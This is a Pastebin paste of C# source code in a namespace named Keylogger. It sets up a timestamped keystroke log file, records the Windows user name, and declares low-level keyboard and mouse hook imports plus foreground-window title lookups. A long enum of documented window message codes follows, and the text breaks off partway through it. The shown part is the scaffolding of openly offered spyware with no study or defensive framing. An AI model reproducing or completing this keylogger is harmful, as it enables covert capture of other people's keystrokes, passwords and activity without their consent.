Advertisement
HackcatDev

Untitled

Mar 7th, 2019
3,494
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 92.61 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Text;
  4. using System.IO;
  5. using System.Runtime.InteropServices;
  6. using System.Windows.Forms;
  7. using System.Diagnostics;
  8. using System.Threading;
  9. using System.Drawing;
  10. using System.Drawing.Imaging;
  11.  
  12. namespace Keylogger
  13. {
  14.     class Program
  15.     {
  16.         public static string logName = Path.Combine(Environment.CurrentDirectory, $"klogs.{DateTime.Now.ToShortDateString()}_{DateTime.Now.ToShortTimeString().Replace(":", ".")}.log");
  17.         public static string lastTitle = "";
  18.         public static string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
  19.  
  20.         [DllImport("kernel32.dll")]
  21.         public static extern IntPtr GetModuleHandle(string lpModuleName);
  22.  
  23.         [DllImport("kernel32.dll")]
  24.         public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
  25.  
  26.         [DllImport("user32.dll", SetLastError = true)]
  27.         static extern IntPtr SetWindowsHookEx(HookType hookType, HookProc lpfn, IntPtr hMod, uint dwThreadId);
  28.  
  29.         [DllImport("user32.dll")]
  30.         static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  31.  
  32.         // overload for use with LowLevelKeyboardProc
  33.         [DllImport("user32.dll")]
  34.         static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, WM wParam, [In]KBDLLHOOKSTRUCT lParam);
  35.  
  36.         // overload for use with LowLevelMouseProc
  37.         [DllImport("user32.dll")]
  38.         static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, WM wParam, [In]MSLLHOOKSTRUCT lParam);
  39.  
  40.         [DllImport("user32.dll", SetLastError = true)]
  41.         [return: MarshalAs(UnmanagedType.Bool)]
  42.         static extern bool UnhookWindowsHookEx(IntPtr hhk);
  43.  
  44.         [DllImport("user32.dll")]
  45.         [return: MarshalAs(UnmanagedType.Bool)]
  46.         static extern bool PeekMessage(IntPtr lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
  47.  
  48.         [DllImport("user32.dll")]
  49.         static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);
  50.  
  51.         [DllImport("user32.dll")]
  52.         private static extern IntPtr GetForegroundWindow();
  53.  
  54.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  55.         static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
  56.        
  57.  
  58.         delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam);
  59.  
  60.         [StructLayout(LayoutKind.Sequential)]
  61.         public struct NativeMessage
  62.         {
  63.             public IntPtr handle;
  64.             public uint msg;
  65.             public IntPtr wParam;
  66.             public IntPtr lParam;
  67.             public uint time;
  68.             public System.Drawing.Point p;
  69.         }
  70.  
  71.  
  72.         public enum HookType : int
  73.         {
  74.             WH_JOURNALRECORD = 0,
  75.             WH_JOURNALPLAYBACK = 1,
  76.             WH_KEYBOARD = 2,
  77.             WH_GETMESSAGE = 3,
  78.             WH_CALLWNDPROC = 4,
  79.             WH_CBT = 5,
  80.             WH_SYSMSGFILTER = 6,
  81.             WH_MOUSE = 7,
  82.             WH_HARDWARE = 8,
  83.             WH_DEBUG = 9,
  84.             WH_SHELL = 10,
  85.             WH_FOREGROUNDIDLE = 11,
  86.             WH_CALLWNDPROCRET = 12,
  87.             WH_KEYBOARD_LL = 13,
  88.             WH_MOUSE_LL = 14
  89.         }
  90.  
  91.         [StructLayout(LayoutKind.Sequential)]
  92.         public class KBDLLHOOKSTRUCT
  93.         {
  94.             public uint vkCode;
  95.             public uint scanCode;
  96.             public KBDLLHOOKSTRUCTFlags flags;
  97.             public uint time;
  98.             public UIntPtr dwExtraInfo;
  99.         }
  100.  
  101.         [StructLayout(LayoutKind.Sequential)]
  102.         public struct MSLLHOOKSTRUCT
  103.         {
  104.             public POINT pt;
  105.             public int mouseData; // be careful, this must be ints, not uints (was wrong before I changed it...).
  106.             public int flags;
  107.             public int time;
  108.             public UIntPtr dwExtraInfo;
  109.         }
  110.  
  111.         [Flags]
  112.         public enum KBDLLHOOKSTRUCTFlags : uint
  113.         {
  114.             LLKHF_EXTENDED = 0x01,
  115.             LLKHF_INJECTED = 0x10,
  116.             LLKHF_ALTDOWN = 0x20,
  117.             LLKHF_UP = 0x80,
  118.         }
  119.  
  120.         public struct POINT
  121.         {
  122.             public FIXED x;
  123.             public FIXED y;
  124.         }
  125.  
  126.         public struct FIXED
  127.         {
  128.             public short fract;
  129.             public short value;
  130.         }
  131.  
  132.         String lastcpt = "";
  133.         public enum WM : uint
  134.         {
  135.             /// <summary>
  136.             /// The WM_NULL message performs no operation. An application sends the WM_NULL message if it wants to post a message that the recipient window will ignore.
  137.             /// </summary>
  138.             NULL = 0x0000,
  139.             /// <summary>
  140.             /// The WM_CREATE message is sent when an application requests that a window be created by calling the CreateWindowEx or CreateWindow function. (The message is sent before the function returns.) The window procedure of the new window receives this message after the window is created, but before the window becomes visible.
  141.             /// </summary>
  142.             CREATE = 0x0001,
  143.             /// <summary>
  144.             /// The WM_DESTROY message is sent when a window is being destroyed. It is sent to the window procedure of the window being destroyed after the window is removed from the screen.
  145.             /// This message is sent first to the window being destroyed and then to the child windows (if any) as they are destroyed. During the processing of the message, it can be assumed that all child windows still exist.
  146.             /// /// </summary>
  147.             DESTROY = 0x0002,
  148.             /// <summary>
  149.             /// The WM_MOVE message is sent after a window has been moved.
  150.             /// </summary>
  151.             MOVE = 0x0003,
  152.             /// <summary>
  153.             /// The WM_SIZE message is sent to a window after its size has changed.
  154.             /// </summary>
  155.             SIZE = 0x0005,
  156.             /// <summary>
  157.             /// The WM_ACTIVATE message is sent to both the window being activated and the window being deactivated. If the windows use the same input queue, the message is sent synchronously, first to the window procedure of the top-level window being deactivated, then to the window procedure of the top-level window being activated. If the windows use different input queues, the message is sent asynchronously, so the window is activated immediately.
  158.             /// </summary>
  159.             ACTIVATE = 0x0006,
  160.             /// <summary>
  161.             /// The WM_SETFOCUS message is sent to a window after it has gained the keyboard focus.
  162.             /// </summary>
  163.             SETFOCUS = 0x0007,
  164.             /// <summary>
  165.             /// The WM_KILLFOCUS message is sent to a window immediately before it loses the keyboard focus.
  166.             /// </summary>
  167.             KILLFOCUS = 0x0008,
  168.             /// <summary>
  169.             /// The WM_ENABLE message is sent when an application changes the enabled state of a window. It is sent to the window whose enabled state is changing. This message is sent before the EnableWindow function returns, but after the enabled state (WS_DISABLED style bit) of the window has changed.
  170.             /// </summary>
  171.             ENABLE = 0x000A,
  172.             /// <summary>
  173.             /// An application sends the WM_SETREDRAW message to a window to allow changes in that window to be redrawn or to prevent changes in that window from being redrawn.
  174.             /// </summary>
  175.             SETREDRAW = 0x000B,
  176.             /// <summary>
  177.             /// An application sends a WM_SETTEXT message to set the text of a window.
  178.             /// </summary>
  179.             SETTEXT = 0x000C,
  180.             /// <summary>
  181.             /// An application sends a WM_GETTEXT message to copy the text that corresponds to a window into a buffer provided by the caller.
  182.             /// </summary>
  183.             GETTEXT = 0x000D,
  184.             /// <summary>
  185.             /// An application sends a WM_GETTEXTLENGTH message to determine the length, in characters, of the text associated with a window.
  186.             /// </summary>
  187.             GETTEXTLENGTH = 0x000E,
  188.             /// <summary>
  189.             /// The WM_PAINT message is sent when the system or another application makes a request to paint a portion of an application's window. The message is sent when the UpdateWindow or RedrawWindow function is called, or by the DispatchMessage function when the application obtains a WM_PAINT message by using the GetMessage or PeekMessage function.
  190.             /// </summary>
  191.             PAINT = 0x000F,
  192.             /// <summary>
  193.             /// The WM_CLOSE message is sent as a signal that a window or an application should terminate.
  194.             /// </summary>
  195.             CLOSE = 0x0010,
  196.             /// <summary>
  197.             /// The WM_QUERYENDSESSION message is sent when the user chooses to end the session or when an application calls one of the system shutdown functions. If any application returns zero, the session is not ended. The system stops sending WM_QUERYENDSESSION messages as soon as one application returns zero.
  198.             /// After processing this message, the system sends the WM_ENDSESSION message with the wParam parameter set to the results of the WM_QUERYENDSESSION message.
  199.             /// </summary>
  200.             QUERYENDSESSION = 0x0011,
  201.             /// <summary>
  202.             /// The WM_QUERYOPEN message is sent to an icon when the user requests that the window be restored to its previous size and position.
  203.             /// </summary>
  204.             QUERYOPEN = 0x0013,
  205.             /// <summary>
  206.             /// The WM_ENDSESSION message is sent to an application after the system processes the results of the WM_QUERYENDSESSION message. The WM_ENDSESSION message informs the application whether the session is ending.
  207.             /// </summary>
  208.             ENDSESSION = 0x0016,
  209.             /// <summary>
  210.             /// The WM_QUIT message indicates a request to terminate an application and is generated when the application calls the PostQuitMessage function. It causes the GetMessage function to return zero.
  211.             /// </summary>
  212.             QUIT = 0x0012,
  213.             /// <summary>
  214.             /// The WM_ERASEBKGND message is sent when the window background must be erased (for example, when a window is resized). The message is sent to prepare an invalidated portion of a window for painting.
  215.             /// </summary>
  216.             ERASEBKGND = 0x0014,
  217.             /// <summary>
  218.             /// This message is sent to all top-level windows when a change is made to a system color setting.
  219.             /// </summary>
  220.             SYSCOLORCHANGE = 0x0015,
  221.             /// <summary>
  222.             /// The WM_SHOWWINDOW message is sent to a window when the window is about to be hidden or shown.
  223.             /// </summary>
  224.             SHOWWINDOW = 0x0018,
  225.             /// <summary>
  226.             /// An application sends the WM_WININICHANGE message to all top-level windows after making a change to the WIN.INI file. The SystemParametersInfo function sends this message after an application uses the function to change a setting in WIN.INI.
  227.             /// Note  The WM_WININICHANGE message is provided only for compatibility with earlier versions of the system. Applications should use the WM_SETTINGCHANGE message.
  228.             /// </summary>
  229.             WININICHANGE = 0x001A,
  230.             /// <summary>
  231.             /// An application sends the WM_WININICHANGE message to all top-level windows after making a change to the WIN.INI file. The SystemParametersInfo function sends this message after an application uses the function to change a setting in WIN.INI.
  232.             /// Note  The WM_WININICHANGE message is provided only for compatibility with earlier versions of the system. Applications should use the WM_SETTINGCHANGE message.
  233.             /// </summary>
  234.             SETTINGCHANGE = WININICHANGE,
  235.             /// <summary>
  236.             /// The WM_DEVMODECHANGE message is sent to all top-level windows whenever the user changes device-mode settings.
  237.             /// </summary>
  238.             DEVMODECHANGE = 0x001B,
  239.             /// <summary>
  240.             /// The WM_ACTIVATEAPP message is sent when a window belonging to a different application than the active window is about to be activated. The message is sent to the application whose window is being activated and to the application whose window is being deactivated.
  241.             /// </summary>
  242.             ACTIVATEAPP = 0x001C,
  243.             /// <summary>
  244.             /// An application sends the WM_FONTCHANGE message to all top-level windows in the system after changing the pool of font resources.
  245.             /// </summary>
  246.             FONTCHANGE = 0x001D,
  247.             /// <summary>
  248.             /// A message that is sent whenever there is a change in the system time.
  249.             /// </summary>
  250.             TIMECHANGE = 0x001E,
  251.             /// <summary>
  252.             /// The WM_CANCELMODE message is sent to cancel certain modes, such as mouse capture. For example, the system sends this message to the active window when a dialog box or message box is displayed. Certain functions also send this message explicitly to the specified window regardless of whether it is the active window. For example, the EnableWindow function sends this message when disabling the specified window.
  253.             /// </summary>
  254.             CANCELMODE = 0x001F,
  255.             /// <summary>
  256.             /// The WM_SETCURSOR message is sent to a window if the mouse causes the cursor to move within a window and mouse input is not captured.
  257.             /// </summary>
  258.             SETCURSOR = 0x0020,
  259.             /// <summary>
  260.             /// The WM_MOUSEACTIVATE message is sent when the cursor is in an inactive window and the user presses a mouse button. The parent window receives this message only if the child window passes it to the DefWindowProc function.
  261.             /// </summary>
  262.             MOUSEACTIVATE = 0x0021,
  263.             /// <summary>
  264.             /// The WM_CHILDACTIVATE message is sent to a child window when the user clicks the window's title bar or when the window is activated, moved, or sized.
  265.             /// </summary>
  266.             CHILDACTIVATE = 0x0022,
  267.             /// <summary>
  268.             /// The WM_QUEUESYNC message is sent by a computer-based training (CBT) application to separate user-input messages from other messages sent through the WH_JOURNALPLAYBACK Hook procedure.
  269.             /// </summary>
  270.             QUEUESYNC = 0x0023,
  271.             /// <summary>
  272.             /// The WM_GETMINMAXINFO message is sent to a window when the size or position of the window is about to change. An application can use this message to override the window's default maximized size and position, or its default minimum or maximum tracking size.
  273.             /// </summary>
  274.             GETMINMAXINFO = 0x0024,
  275.             /// <summary>
  276.             /// Windows NT 3.51 and earlier: The WM_PAINTICON message is sent to a minimized window when the icon is to be painted. This message is not sent by newer versions of Microsoft Windows, except in unusual circumstances explained in the Remarks.
  277.             /// </summary>
  278.             PAINTICON = 0x0026,
  279.             /// <summary>
  280.             /// Windows NT 3.51 and earlier: The WM_ICONERASEBKGND message is sent to a minimized window when the background of the icon must be filled before painting the icon. A window receives this message only if a class icon is defined for the window; otherwise, WM_ERASEBKGND is sent. This message is not sent by newer versions of Windows.
  281.             /// </summary>
  282.             ICONERASEBKGND = 0x0027,
  283.             /// <summary>
  284.             /// The WM_NEXTDLGCTL message is sent to a dialog box procedure to set the keyboard focus to a different control in the dialog box.
  285.             /// </summary>
  286.             NEXTDLGCTL = 0x0028,
  287.             /// <summary>
  288.             /// The WM_SPOOLERSTATUS message is sent from Print Manager whenever a job is added to or removed from the Print Manager queue.
  289.             /// </summary>
  290.             SPOOLERSTATUS = 0x002A,
  291.             /// <summary>
  292.             /// The WM_DRAWITEM message is sent to the parent window of an owner-drawn button, combo box, list box, or menu when a visual aspect of the button, combo box, list box, or menu has changed.
  293.             /// </summary>
  294.             DRAWITEM = 0x002B,
  295.             /// <summary>
  296.             /// The WM_MEASUREITEM message is sent to the owner window of a combo box, list box, list view control, or menu item when the control or menu is created.
  297.             /// </summary>
  298.             MEASUREITEM = 0x002C,
  299.             /// <summary>
  300.             /// Sent to the owner of a list box or combo box when the list box or combo box is destroyed or when items are removed by the LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT message. The system sends a WM_DELETEITEM message for each deleted item. The system sends the WM_DELETEITEM message for any deleted list box or combo box item with nonzero item data.
  301.             /// </summary>
  302.             DELETEITEM = 0x002D,
  303.             /// <summary>
  304.             /// Sent by a list box with the LBS_WANTKEYBOARDINPUT style to its owner in response to a WM_KEYDOWN message.
  305.             /// </summary>
  306.             VKEYTOITEM = 0x002E,
  307.             /// <summary>
  308.             /// Sent by a list box with the LBS_WANTKEYBOARDINPUT style to its owner in response to a WM_CHAR message.
  309.             /// </summary>
  310.             CHARTOITEM = 0x002F,
  311.             /// <summary>
  312.             /// An application sends a WM_SETFONT message to specify the font that a control is to use when drawing text.
  313.             /// </summary>
  314.             SETFONT = 0x0030,
  315.             /// <summary>
  316.             /// An application sends a WM_GETFONT message to a control to retrieve the font with which the control is currently drawing its text.
  317.             /// </summary>
  318.             GETFONT = 0x0031,
  319.             /// <summary>
  320.             /// An application sends a WM_SETHOTKEY message to a window to associate a hot key with the window. When the user presses the hot key, the system activates the window.
  321.             /// </summary>
  322.             SETHOTKEY = 0x0032,
  323.             /// <summary>
  324.             /// An application sends a WM_GETHOTKEY message to determine the hot key associated with a window.
  325.             /// </summary>
  326.             GETHOTKEY = 0x0033,
  327.             /// <summary>
  328.             /// The WM_QUERYDRAGICON message is sent to a minimized (iconic) window. The window is about to be dragged by the user but does not have an icon defined for its class. An application can return a handle to an icon or cursor. The system displays this cursor or icon while the user drags the icon.
  329.             /// </summary>
  330.             QUERYDRAGICON = 0x0037,
  331.             /// <summary>
  332.             /// The system sends the WM_COMPAREITEM message to determine the relative position of a new item in the sorted list of an owner-drawn combo box or list box. Whenever the application adds a new item, the system sends this message to the owner of a combo box or list box created with the CBS_SORT or LBS_SORT style.
  333.             /// </summary>
  334.             COMPAREITEM = 0x0039,
  335.             /// <summary>
  336.             /// Active Accessibility sends the WM_GETOBJECT message to obtain information about an accessible object contained in a server application.
  337.             /// Applications never send this message directly. It is sent only by Active Accessibility in response to calls to AccessibleObjectFromPoint, AccessibleObjectFromEvent, or AccessibleObjectFromWindow. However, server applications handle this message.
  338.             /// </summary>
  339.             GETOBJECT = 0x003D,
  340.             /// <summary>
  341.             /// The WM_COMPACTING message is sent to all top-level windows when the system detects more than 12.5 percent of system time over a 30- to 60-second interval is being spent compacting memory. This indicates that system memory is low.
  342.             /// </summary>
  343.             COMPACTING = 0x0041,
  344.             /// <summary>
  345.             /// WM_COMMNOTIFY is Obsolete for Win32-Based Applications
  346.             /// </summary>
  347.             [Obsolete]
  348.             COMMNOTIFY = 0x0044,
  349.             /// <summary>
  350.             /// The WM_WINDOWPOSCHANGING message is sent to a window whose size, position, or place in the Z order is about to change as a result of a call to the SetWindowPos function or another window-management function.
  351.             /// </summary>
  352.             WINDOWPOSCHANGING = 0x0046,
  353.             /// <summary>
  354.             /// The WM_WINDOWPOSCHANGED message is sent to a window whose size, position, or place in the Z order has changed as a result of a call to the SetWindowPos function or another window-management function.
  355.             /// </summary>
  356.             WINDOWPOSCHANGED = 0x0047,
  357.             /// <summary>
  358.             /// Notifies applications that the system, typically a battery-powered personal computer, is about to enter a suspended mode.
  359.             /// Use: POWERBROADCAST
  360.             /// </summary>
  361.             [Obsolete]
  362.             POWER = 0x0048,
  363.             /// <summary>
  364.             /// An application sends the WM_COPYDATA message to pass data to another application.
  365.             /// </summary>
  366.             COPYDATA = 0x004A,
  367.             /// <summary>
  368.             /// The WM_CANCELJOURNAL message is posted to an application when a user cancels the application's journaling activities. The message is posted with a NULL window handle.
  369.             /// </summary>
  370.             CANCELJOURNAL = 0x004B,
  371.             /// <summary>
  372.             /// Sent by a common control to its parent window when an event has occurred or the control requires some information.
  373.             /// </summary>
  374.             NOTIFY = 0x004E,
  375.             /// <summary>
  376.             /// The WM_INPUTLANGCHANGEREQUEST message is posted to the window with the focus when the user chooses a new input language, either with the hotkey (specified in the Keyboard control panel application) or from the indicator on the system taskbar. An application can accept the change by passing the message to the DefWindowProc function or reject the change (and prevent it from taking place) by returning immediately.
  377.             /// </summary>
  378.             INPUTLANGCHANGEREQUEST = 0x0050,
  379.             /// <summary>
  380.             /// The WM_INPUTLANGCHANGE message is sent to the topmost affected window after an application's input language has been changed. You should make any application-specific settings and pass the message to the DefWindowProc function, which passes the message to all first-level child windows. These child windows can pass the message to DefWindowProc to have it pass the message to their child windows, and so on.
  381.             /// </summary>
  382.             INPUTLANGCHANGE = 0x0051,
  383.             /// <summary>
  384.             /// Sent to an application that has initiated a training card with Microsoft Windows Help. The message informs the application when the user clicks an authorable button. An application initiates a training card by specifying the HELP_TCARD command in a call to the WinHelp function.
  385.             /// </summary>
  386.             TCARD = 0x0052,
  387.             /// <summary>
  388.             /// Indicates that the user pressed the F1 key. If a menu is active when F1 is pressed, WM_HELP is sent to the window associated with the menu; otherwise, WM_HELP is sent to the window that has the keyboard focus. If no window has the keyboard focus, WM_HELP is sent to the currently active window.
  389.             /// </summary>
  390.             HELP = 0x0053,
  391.             /// <summary>
  392.             /// The WM_USERCHANGED message is sent to all windows after the user has logged on or off. When the user logs on or off, the system updates the user-specific settings. The system sends this message immediately after updating the settings.
  393.             /// </summary>
  394.             USERCHANGED = 0x0054,
  395.             /// <summary>
  396.             /// Determines if a window accepts ANSI or Unicode structures in the WM_NOTIFY notification message. WM_NOTIFYFORMAT messages are sent from a common control to its parent window and from the parent window to the common control.
  397.             /// </summary>
  398.             NOTIFYFORMAT = 0x0055,
  399.             /// <summary>
  400.             /// The WM_CONTEXTMENU message notifies a window that the user clicked the right mouse button (right-clicked) in the window.
  401.             /// </summary>
  402.             CONTEXTMENU = 0x007B,
  403.             /// <summary>
  404.             /// The WM_STYLECHANGING message is sent to a window when the SetWindowLong function is about to change one or more of the window's styles.
  405.             /// </summary>
  406.             STYLECHANGING = 0x007C,
  407.             /// <summary>
  408.             /// The WM_STYLECHANGED message is sent to a window after the SetWindowLong function has changed one or more of the window's styles
  409.             /// </summary>
  410.             STYLECHANGED = 0x007D,
  411.             /// <summary>
  412.             /// The WM_DISPLAYCHANGE message is sent to all windows when the display resolution has changed.
  413.             /// </summary>
  414.             DISPLAYCHANGE = 0x007E,
  415.             /// <summary>
  416.             /// The WM_GETICON message is sent to a window to retrieve a handle to the large or small icon associated with a window. The system displays the large icon in the ALT+TAB dialog, and the small icon in the window caption.
  417.             /// </summary>
  418.             GETICON = 0x007F,
  419.             /// <summary>
  420.             /// An application sends the WM_SETICON message to associate a new large or small icon with a window. The system displays the large icon in the ALT+TAB dialog box, and the small icon in the window caption.
  421.             /// </summary>
  422.             SETICON = 0x0080,
  423.             /// <summary>
  424.             /// The WM_NCCREATE message is sent prior to the WM_CREATE message when a window is first created.
  425.             /// </summary>
  426.             NCCREATE = 0x0081,
  427.             /// <summary>
  428.             /// The WM_NCDESTROY message informs a window that its nonclient area is being destroyed. The DestroyWindow function sends the WM_NCDESTROY message to the window following the WM_DESTROY message. WM_DESTROY is used to free the allocated memory object associated with the window.
  429.             /// The WM_NCDESTROY message is sent after the child windows have been destroyed. In contrast, WM_DESTROY is sent before the child windows are destroyed.
  430.             /// </summary>
  431.             NCDESTROY = 0x0082,
  432.             /// <summary>
  433.             /// The WM_NCCALCSIZE message is sent when the size and position of a window's client area must be calculated. By processing this message, an application can control the content of the window's client area when the size or position of the window changes.
  434.             /// </summary>
  435.             NCCALCSIZE = 0x0083,
  436.             /// <summary>
  437.             /// The WM_NCHITTEST message is sent to a window when the cursor moves, or when a mouse button is pressed or released. If the mouse is not captured, the message is sent to the window beneath the cursor. Otherwise, the message is sent to the window that has captured the mouse.
  438.             /// </summary>
  439.             NCHITTEST = 0x0084,
  440.             /// <summary>
  441.             /// The WM_NCPAINT message is sent to a window when its frame must be painted.
  442.             /// </summary>
  443.             NCPAINT = 0x0085,
  444.             /// <summary>
  445.             /// The WM_NCACTIVATE message is sent to a window when its nonclient area needs to be changed to indicate an active or inactive state.
  446.             /// </summary>
  447.             NCACTIVATE = 0x0086,
  448.             /// <summary>
  449.             /// The WM_GETDLGCODE message is sent to the window procedure associated with a control. By default, the system handles all keyboard input to the control; the system interprets certain types of keyboard input as dialog box navigation keys. To override this default behavior, the control can respond to the WM_GETDLGCODE message to indicate the types of input it wants to process itself.
  450.             /// </summary>
  451.             GETDLGCODE = 0x0087,
  452.             /// <summary>
  453.             /// The WM_SYNCPAINT message is used to synchronize painting while avoiding linking independent GUI threads.
  454.             /// </summary>
  455.             SYNCPAINT = 0x0088,
  456.             /// <summary>
  457.             /// The WM_NCMOUSEMOVE message is posted to a window when the cursor is moved within the nonclient area of the window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  458.             /// </summary>
  459.             NCMOUSEMOVE = 0x00A0,
  460.             /// <summary>
  461.             /// The WM_NCLBUTTONDOWN message is posted when the user presses the left mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  462.             /// </summary>
  463.             NCLBUTTONDOWN = 0x00A1,
  464.             /// <summary>
  465.             /// The WM_NCLBUTTONUP message is posted when the user releases the left mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  466.             /// </summary>
  467.             NCLBUTTONUP = 0x00A2,
  468.             /// <summary>
  469.             /// The WM_NCLBUTTONDBLCLK message is posted when the user double-clicks the left mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  470.             /// </summary>
  471.             NCLBUTTONDBLCLK = 0x00A3,
  472.             /// <summary>
  473.             /// The WM_NCRBUTTONDOWN message is posted when the user presses the right mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  474.             /// </summary>
  475.             NCRBUTTONDOWN = 0x00A4,
  476.             /// <summary>
  477.             /// The WM_NCRBUTTONUP message is posted when the user releases the right mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  478.             /// </summary>
  479.             NCRBUTTONUP = 0x00A5,
  480.             /// <summary>
  481.             /// The WM_NCRBUTTONDBLCLK message is posted when the user double-clicks the right mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  482.             /// </summary>
  483.             NCRBUTTONDBLCLK = 0x00A6,
  484.             /// <summary>
  485.             /// The WM_NCMBUTTONDOWN message is posted when the user presses the middle mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  486.             /// </summary>
  487.             NCMBUTTONDOWN = 0x00A7,
  488.             /// <summary>
  489.             /// The WM_NCMBUTTONUP message is posted when the user releases the middle mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  490.             /// </summary>
  491.             NCMBUTTONUP = 0x00A8,
  492.             /// <summary>
  493.             /// The WM_NCMBUTTONDBLCLK message is posted when the user double-clicks the middle mouse button while the cursor is within the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  494.             /// </summary>
  495.             NCMBUTTONDBLCLK = 0x00A9,
  496.             /// <summary>
  497.             /// The WM_NCXBUTTONDOWN message is posted when the user presses the first or second X button while the cursor is in the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  498.             /// </summary>
  499.             NCXBUTTONDOWN = 0x00AB,
  500.             /// <summary>
  501.             /// The WM_NCXBUTTONUP message is posted when the user releases the first or second X button while the cursor is in the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  502.             /// </summary>
  503.             NCXBUTTONUP = 0x00AC,
  504.             /// <summary>
  505.             /// The WM_NCXBUTTONDBLCLK message is posted when the user double-clicks the first or second X button while the cursor is in the nonclient area of a window. This message is posted to the window that contains the cursor. If a window has captured the mouse, this message is not posted.
  506.             /// </summary>
  507.             NCXBUTTONDBLCLK = 0x00AD,
  508.             /// <summary>
  509.             /// The WM_INPUT_DEVICE_CHANGE message is sent to the window that registered to receive raw input. A window receives this message through its WindowProc function.
  510.             /// </summary>
  511.             INPUT_DEVICE_CHANGE = 0x00FE,
  512.             /// <summary>
  513.             /// The WM_INPUT message is sent to the window that is getting raw input.
  514.             /// </summary>
  515.             INPUT = 0x00FF,
  516.             /// <summary>
  517.             /// This message filters for keyboard messages.
  518.             /// </summary>
  519.             KEYFIRST = 0x0100,
  520.             /// <summary>
  521.             /// The WM_KEYDOWN message is posted to the window with the keyboard focus when a nonsystem key is pressed. A nonsystem key is a key that is pressed when the ALT key is not pressed.
  522.             /// </summary>
  523.             KEYDOWN = 0x0100,
  524.             /// <summary>
  525.             /// The WM_KEYUP message is posted to the window with the keyboard focus when a nonsystem key is released. A nonsystem key is a key that is pressed when the ALT key is not pressed, or a keyboard key that is pressed when a window has the keyboard focus.
  526.             /// </summary>
  527.             KEYUP = 0x0101,
  528.             /// <summary>
  529.             /// The WM_CHAR message is posted to the window with the keyboard focus when a WM_KEYDOWN message is translated by the TranslateMessage function. The WM_CHAR message contains the character code of the key that was pressed.
  530.             /// </summary>
  531.             CHAR = 0x0102,
  532.             /// <summary>
  533.             /// The WM_DEADCHAR message is posted to the window with the keyboard focus when a WM_KEYUP message is translated by the TranslateMessage function. WM_DEADCHAR specifies a character code generated by a dead key. A dead key is a key that generates a character, such as the umlaut (double-dot), that is combined with another character to form a composite character. For example, the umlaut-O character (Ö) is generated by typing the dead key for the umlaut character, and then typing the O key.
  534.             /// </summary>
  535.             DEADCHAR = 0x0103,
  536.             /// <summary>
  537.             /// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user presses the F10 key (which activates the menu bar) or holds down the ALT key and then presses another key. It also occurs when no window currently has the keyboard focus; in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that receives the message can distinguish between these two contexts by checking the context code in the lParam parameter.
  538.             /// </summary>
  539.             SYSKEYDOWN = 0x0104,
  540.             /// <summary>
  541.             /// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user releases a key that was pressed while the ALT key was held down. It also occurs when no window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent to the active window. The window that receives the message can distinguish between these two contexts by checking the context code in the lParam parameter.
  542.             /// </summary>
  543.             SYSKEYUP = 0x0105,
  544.             /// <summary>
  545.             /// The WM_SYSCHAR message is posted to the window with the keyboard focus when a WM_SYSKEYDOWN message is translated by the TranslateMessage function. It specifies the character code of a system character key — that is, a character key that is pressed while the ALT key is down.
  546.             /// </summary>
  547.             SYSCHAR = 0x0106,
  548.             /// <summary>
  549.             /// The WM_SYSDEADCHAR message is sent to the window with the keyboard focus when a WM_SYSKEYDOWN message is translated by the TranslateMessage function. WM_SYSDEADCHAR specifies the character code of a system dead key — that is, a dead key that is pressed while holding down the ALT key.
  550.             /// </summary>
  551.             SYSDEADCHAR = 0x0107,
  552.             /// <summary>
  553.             /// The WM_UNICHAR message is posted to the window with the keyboard focus when a WM_KEYDOWN message is translated by the TranslateMessage function. The WM_UNICHAR message contains the character code of the key that was pressed.
  554.             /// The WM_UNICHAR message is equivalent to WM_CHAR, but it uses Unicode Transformation Format (UTF)-32, whereas WM_CHAR uses UTF-16. It is designed to send or post Unicode characters to ANSI windows and it can can handle Unicode Supplementary Plane characters.
  555.             /// </summary>
  556.             UNICHAR = 0x0109,
  557.             /// <summary>
  558.             /// This message filters for keyboard messages.
  559.             /// </summary>
  560.             KEYLAST = 0x0108,
  561.             /// <summary>
  562.             /// Sent immediately before the IME generates the composition string as a result of a keystroke. A window receives this message through its WindowProc function.
  563.             /// </summary>
  564.             IME_STARTCOMPOSITION = 0x010D,
  565.             /// <summary>
  566.             /// Sent to an application when the IME ends composition. A window receives this message through its WindowProc function.
  567.             /// </summary>
  568.             IME_ENDCOMPOSITION = 0x010E,
  569.             /// <summary>
